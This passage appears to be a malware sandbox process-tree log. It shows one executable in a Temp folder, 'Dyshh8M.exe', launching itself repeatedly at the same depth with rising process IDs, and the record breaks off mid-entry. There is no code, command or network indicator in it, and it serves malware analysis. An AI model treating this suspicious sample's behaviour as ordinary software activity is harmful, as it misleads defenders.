        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4312
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4320
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4328
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4336
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4344
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4352
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4360
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4368
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4376
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4384
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4400
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4408
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4416
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4424
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4432
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4440
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4448
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4456
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4464
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4472
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4480
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4488
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4496
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4504
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4512
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4520
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4528
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4536
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4544
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4552
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4560
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4568
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4576
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4584
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4592
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4600
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4608
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4616
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4624
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4632
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4640
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4648
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4656
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4664
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4672
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4680
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4688
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4696
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4704
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4712
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4720
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4728
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4736
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4744
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4752
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4760
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4768
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4776
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4784
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4792
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4800
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4808
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4816
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4824
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4832
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4840
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4848
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4856
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4864
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4872
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4880
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4888
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4896
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4904
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4912
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4920
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4928
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4936
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4944
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4960
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4968
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4976
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4984
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:4992
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5000
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5008
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5016
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5024
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5032
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5040
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5048
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5056
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5064
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5072
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5080
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5088
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5096
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5104
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5112
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5124
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5132
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5140
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5148
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5156
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5164
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5180
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5188
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5204
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5212
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5220
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5228
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5236
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5244
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5252
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5260
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5268
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5276
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5284
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5292
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5300
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5308
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5316
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5324
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5332
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5340
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5348
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5356
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5364
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5372
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5380
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5388
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5396
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5404
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5412
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5420
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5428
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5436
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5444
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5452
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5460
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5468
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5476
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5484
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5492
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5500
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5508
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5516
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5524
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5532
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:5540
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
